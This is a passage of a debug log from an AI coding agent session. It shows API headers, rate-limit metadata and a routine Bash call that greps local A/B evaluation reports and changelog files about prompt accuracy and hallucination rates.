\"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:50.417Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:50.423Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:50.438Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:50.447Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:50.450Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:50.457Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:50.463Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:50.465Z] [STDOUT]     \"cf-ray\": \"a42964b9184129ad-FRA\",\n[2026-09-29T07:49:50.469Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:49:50.473Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:50.476Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:50.479Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:50.487Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:49:50 GMT\",\n[2026-09-29T07:49:50.490Z] [STDOUT]     \"request-id\": \"req_011CfXN6H6CNhWC8eddKzUm2\",\n[2026-09-29T07:49:50.493Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:49:50.499Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:50.505Z] [STDOUT]     traceresponse: \"00-577cd9b81d324a9533ae2a3d703a2c99-868236fdeb98f5c7-01\",\n[2026-09-29T07:49:50.511Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:50.515Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:49:50.517Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:50.522Z] [STDOUT]   },\n[2026-09-29T07:49:50.557Z] [STDOUT]   durationMs: 732,\n[2026-09-29T07:49:50.560Z] [STDOUT] }\n[2026-09-29T07:49:50.564Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:49:50.568Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:49:50 GMT\",\n[2026-09-29T07:49:50.576Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:49:50.584Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:49:50.591Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:49:50.594Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:49:50.597Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:49:50.601Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:49:50.606Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:49:50.609Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:49:50.618Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:49:50.621Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:49:50.632Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:49:50.635Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:49:50.645Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:49:50.648Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:49:50.652Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:49:50.665Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:49:50.678Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:49:50.687Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:49:50.690Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:49:50.697Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:49:50.701Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:49:50.708Z] [STDOUT]   \"request-id\": \"req_011CfXN6H6CNhWC8eddKzUm2\",\n[2026-09-29T07:49:50.758Z] [STDOUT]   \"traceresponse\": \"00-577cd9b81d324a9533ae2a3d703a2c99-868236fdeb98f5c7-01\",\n[2026-09-29T07:49:50.763Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:49:50.770Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:49:50.776Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:49:50.783Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:50.806Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:50.815Z] [STDOUT]   \"cf-ray\": \"a42964b9184129ad-FRA\",\n[2026-09-29T07:49:50.832Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:49:50.864Z] [STDOUT] [log_6a0adc] response parsed {\n[2026-09-29T07:49:50.876Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:50.883Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:50.891Z] [STDOUT]   body: X {\n[2026-09-29T07:49:50.895Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:49:50.904Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:49:50.912Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:49:50.922Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:49:50.926Z] [STDOUT]     },\n[2026-09-29T07:49:50.930Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:49:50.934Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:49:50.938Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:49:50.941Z] [STDOUT]   },\n[2026-09-29T07:49:50.946Z] [STDOUT]   durationMs: 733,\n[2026-09-29T07:49:50.951Z] [STDOUT] }\n[2026-09-29T07:49:50.955Z] [INFO] {\n[2026-09-29T07:49:50.955Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:50.955Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:50.955Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:49:50.955Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:50.955Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:50.955Z] [INFO]   \"uuid\": \"ee5bc356-94b1-4141-8851-1d80e1bef994\"\n[2026-09-29T07:49:50.955Z] [INFO] }\n[2026-09-29T07:49:51.468Z] [INFO] {\n[2026-09-29T07:49:51.468Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:51.468Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:51.468Z] [INFO]   \"estimated_tokens\": 233,\n[2026-09-29T07:49:51.468Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:51.468Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:51.468Z] [INFO]   \"uuid\": \"5388b8cd-2a34-42d3-aa4e-f22433cc105b\"\n[2026-09-29T07:49:51.468Z] [INFO] }\n[2026-09-29T07:49:51.473Z] [INFO] {\n[2026-09-29T07:49:51.473Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:51.473Z] [INFO]   \"message\": {\n[2026-09-29T07:49:51.473Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:51.473Z] [INFO]     \"id\": \"msg_011CfXN6HZyYDdoUPrdWFGux\",\n[2026-09-29T07:49:51.473Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:51.473Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:51.473Z] [INFO]     \"content\": [\n[2026-09-29T07:49:51.473Z] [INFO]       {\n[2026-09-29T07:49:51.473Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:49:51.473Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:49:51.473Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:49:51.473Z] [INFO]     ],\n[2026-09-29T07:49:51.473Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:51.473Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:51.473Z] [INFO]       \"cache_creation_input_tokens\": 1638,\n[2026-09-29T07:49:51.473Z] [INFO]       \"cache_read_input_tokens\": 79588,\n[2026-09-29T07:49:51.473Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:51.473Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:51.473Z] [INFO]         \"ephemeral_1h_input_tokens\": 1638\n[2026-09-29T07:49:51.473Z] [INFO]       },\n[2026-09-29T07:49:51.473Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:49:51.473Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:51.473Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:51.473Z] [INFO]     },\n[2026-09-29T07:49:51.473Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:51.473Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:51.473Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:51.473Z] [INFO]   },\n[2026-09-29T07:49:51.473Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:51.473Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:51.473Z] [INFO]   \"uuid\": \"582339d5-4498-44c5-b14c-8d39c66315ce\",\n[2026-09-29T07:49:51.473Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:51.466Z\",\n[2026-09-29T07:49:51.473Z] [INFO]   \"request_id\": \"req_011CfXN6H6CNhWC8eddKzUm2\"\n[2026-09-29T07:49:51.473Z] [INFO] }\n[2026-09-29T07:49:53.813Z] [INFO] {\n[2026-09-29T07:49:53.813Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"message\": {\n[2026-09-29T07:49:53.813Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:53.813Z] [INFO]     \"id\": \"msg_011CfXN6HZyYDdoUPrdWFGux\",\n[2026-09-29T07:49:53.813Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:53.813Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:53.813Z] [INFO]     \"content\": [\n[2026-09-29T07:49:53.813Z] [INFO]       {\n[2026-09-29T07:49:53.813Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:49:53.813Z] [INFO]         \"id\": \"toolu_019cNsjfHESvnjT4pziFC9Kw\",\n[2026-09-29T07:49:53.813Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:49:53.813Z] [INFO]         \"input\": {\n[2026-09-29T07:49:53.813Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts; ls docs/report | grep -i \\\"0065\\\\|rca\\\"; grep -n \\\"43.1\\\\|47.7\\\\|37.8\\\" docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md | head -8 | cut -c1-300; cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model; grep -rn \\\"42\\\" 00-introduction.md 20-taxonomy.md | cut -c1-250 | head -5; grep -c \\\"capability\\\" product-taxonomy/mango-products.yaml; grep -n \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f\\\\|1027\\\\|\u043e\u0442\u043a\u0430\u0442\\\\|v0.1\\\" /tmp/mango_ba_prompts/CHANGELOG.md | head -5 | cut -c1-250\",\n[2026-09-29T07:49:53.813Z] [INFO]           \"description\": \"Verify A/B report and capability counts\"\n[2026-09-29T07:49:53.813Z] [INFO]         },\n[2026-09-29T07:49:53.813Z] [INFO]         \"caller\": {\n[2026-09-29T07:49:53.813Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:49:53.813Z] [INFO]         }\n[2026-09-29T07:49:53.813Z] [INFO]       }\n[2026-09-29T07:49:53.813Z] [INFO]     ],\n[2026-09-29T07:49:53.813Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:53.813Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:53.813Z] [INFO]       \"cache_creation_input_tokens\": 1638,\n[2026-09-29T07:49:53.813Z] [INFO]       \"cache_read_input_tokens\": 79588,\n[2026-09-29T07:49:53.813Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:53.813Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:53.813Z] [INFO]         \"ephemeral_1h_input_tokens\": 1638\n[2026-09-29T07:49:53.813Z] [INFO]       },\n[2026-09-29T07:49:53.813Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:49:53.813Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:53.813Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:53.813Z] [INFO]     },\n[2026-09-29T07:49:53.813Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:53.813Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:53.813Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:53.813Z] [INFO]   },\n[2026-09-29T07:49:53.813Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:53.813Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"uuid\": \"845d0d22-8e34-489e-a6e3-9f3f6df48cdb\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:53.803Z\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"request_id\": \"req_011CfXN6H6CNhWC8eddKzUm2\",\n[2026-09-29T07:49:53.813Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:49:53.813Z] [INFO]     \"toolu_019cNsjfHESvnjT4pziFC9Kw\": {\n[2026-09-29T07:49:53.813Z] [INFO]       \"command\": \"cd /tmp/mango_ba_prompts; ls docs/report | grep -i \\\"0065\\\\|rca\\\"; grep -n \\\"43.1\\\\|47.7\\\\|37.8\\\" docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md | head -8 | cut -c1-300; cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model; grep -rn \\\"42\\\" 00-introduction.md 20-taxonomy.md | cut -c1-250 | head -5; grep -c \\\"capability\\\" product-taxonomy/mango-products.yaml; grep -n \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f\\\\|1027\\\\|\u043e\u0442\u043a\u0430\u0442\\\\|v0.1\\\" /tmp/mango_ba_prompts/CHANGELOG.md | head -5 | cut -c1-250\",\n[2026-09-29T07:49:53.813Z] [INFO]       \"description\": \"Verify A/B report and capability counts\"\n[2026-09-29T07:49:53.813Z] [INFO]     }\n[2026-09-29T07:49:53.813Z] [INFO]   }\n[2026-09-29T07:49:53.813Z] [INFO] }\n[2026-09-29T07:49:55.012Z] [INFO] {\n[2026-09-29T07:49:55.012Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:49:55.012Z] [INFO]   \"message\": {\n[2026-09-29T07:49:55.012Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:49:55.012Z] [INFO]     \"content\": [\n[2026-09-29T07:49:55.012Z] [INFO]       {\n[2026-09-29T07:49:55.012Z] [INFO]         \"tool_use_id\": \"toolu_019cNsjfHESvnjT4pziFC9Kw\",\n[2026-09-29T07:49:55.012Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:49:55.012Z] [INFO]         \"content\": \"2026-09-01-run-0065-vs-0066-ab-rca.md\\n26:47.7% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u0434\u0430\u043b \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e\\n27:\u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u044e (\u0394 > 2) \u0432 43.1% \u0441\u0442\u0440\u043e\u043a. RUN-0066\\n74:| `Accuracy_verdict` | 31/65 = 47.7% | 65/65 = 100.0% |\\n75:| `Accuracy_page` (eligible rows, \u0434\u043e\u043f\u0443\u0441\u043a \u22642) | 17/45 = 37.8% | 64/64 = 100.0% |\\n76:| `Hallucination_rate` (\u0394 >2 / \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438) | 28/65 = 43.1% | 0/65 = 0.0% |\\n0\\n685:  v0.1 \u043d\u0430 \u043a\u0435\u0439\u0441\u0435 1064 (\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u0430\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u041c\u0418\u0421 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430):\\n1146:  \u0432 `standards/runs-contract-standard.md` v0.1 \u043d\u0435\u0442 \u043d\u0438 \u0442\u0438\u043f\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f\\n1667:### Added \u2014 Issue #101 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432\\n1670:  [`docs/analysis/experiment-1027-analysis.md`](docs/analysis/experiment-1027-analysis.md):\\n1675:- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (Draft v0.1)\",\n[2026-09-29T07:49:55.012Z] [INFO]         \"is_error\": false\n[2026-09-29T07:49:55.012Z] [INFO]       }\n[2026-09-29T07:49:55.012Z] [INFO]     ]\n[2026-09-29T07:49:55.012Z] [INFO]   },\n[2026-09-29T07:49:55.012Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:55.012Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:55.012Z] [INFO]   \"uuid\": \"cb6e974f-6012-4463-8500-3f51a48bce20\",\n[2026-09-29T07:49:55.012Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:55.000Z\",\n[2026-09-29T07:49:55.012Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:49:55.012Z] [INFO]     \"stdout\": \"2026-09-01-run-0065-vs-0066-ab-rca.md\\n26:47.7% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u0434\u0430\u043b \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e\\n27:\u043f\u0430\u0433\u0438\u043d\u0430\u0446\u0438\u044e (\u0394 > 2) \u0432 43.1% \u0441\u0442\u0440\u043e\u043a. RUN-0066\\n74:| `Accuracy_verdict` | 31/65 = 47.7% | 65/65 = 100.0% |\\n75:| `Accuracy_page` (eligible rows, \u0434\u043e\u043f\u0443\u0441\u043a \u22642) | 17/45 = 37.8% | 64/64 = 100.0% |\\n76:| `Hallucination_rate` (\u0394 >2 / \u0432\u0441\u0435 \u0441\u0442\u0440\u043e\u043a\u0438) | 28/65 = 43.1% | 0/65 = 0.0% |\\n0\\n685:  v0.1 \u043d\u0430 \u043a\u0435\u0439\u0441\u0435 1064 (\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u0430\u044f \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u041c\u0418\u0421 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430):\\n1146:  \u0432 `standards/runs-contract-standard.md` v0.1 \u043d\u0435\u0442 \u043d\u0438 \u0442\u0438\u043f\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f\\n1667:### Added \u2014 Issue #101 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432\\n1670:  [`docs/analysis/experiment-1027-analysis.md`](docs/analysis/experiment-1027-analysis.md):\\n1675:- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (Draft v0.1)\",\n[2026-09-29T07:49:55.012Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:49:55.012Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:49:55.012Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:49:55.012Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:49:55.012Z] [INFO]   }\n[2026-09-29T07:49:55.012Z] [INFO] }\n[2026-09-29T07:49:55.083Z] [STDOUT] [log_8e0329] sending request {\n[2026-09-29T07:49:55.088Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:49:55.093Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:55.102Z] [STDOUT]   options: {\n[2026-09-29T07:49:55.109Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:49:55.113Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:49:55.116Z] [STDOUT]     body: {\n[2026-09-29T07:49:55.119Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:49:55.122Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:49:55.126Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:49:55.135Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:49:55.139Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:49:55.142Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:49:55.145Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:49:55.153Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:49:55.158Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:49:55.162Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:49:55.165Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:49:55.169Z] [STDOUT]       stream: true,\n[2026-09-29T07:49:55.171Z] [STDOUT]     },\n[2026-09-29T07:49:55.175Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:49:55.180Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:49:55.182Z] [STDOUT]       aborted: false,\n[2026-09-29T07:49:55.184Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:49:55.187Z] [STDOUT]       onabort: null,\n[2026-09-29T07:49:55.190Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:49:55.193Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:49:55.196Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:49:55.198Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:49:55.202Z] [STDOUT]     },\n[2026-09-29T07:49:55.206Z] [STDOUT]     stream: true,\n[2026-09-29T07:49:55.208Z] [STDOUT]   },\n[2026-09-29T07:49:55.214Z] [STDOUT]   headers: {\n[2026-09-29T07:49:55.223Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:49:55.229Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:49:55.251Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:49:55.257Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:49:55.259Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:49:55.265Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:49:55.271Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:49:55.273Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:49:55.275Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:49:55.279Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1143\",\n[2026-09-29T07:49:55.281Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:49:55.283Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:49:55.285Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:55.287Z] [STDOUT]     \"x-client-request-id\": \"a4531bc7-d693-48bd-a058-fbf9024ef3d2\",\n[2026-09-29T07:49:55.289Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:49:55.291Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:49:55.293Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:49:55.295Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:49:55.297Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:49:55.299Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:49:55.300Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:49:55.303Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:49:55.306Z] [STDOUT]   },\n[2026-09-29T07:49:55.309Z] [STDOUT] }\n[2026-09-29T07:49:55.926Z] [STDOUT] [log_8e0329, request-id: \"req_011CfXN6gZ6AdVcSqwCUZPMz\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 843ms\n[2026-09-29T07:49:55.931Z] [STDOUT] [log_8e0329] response start 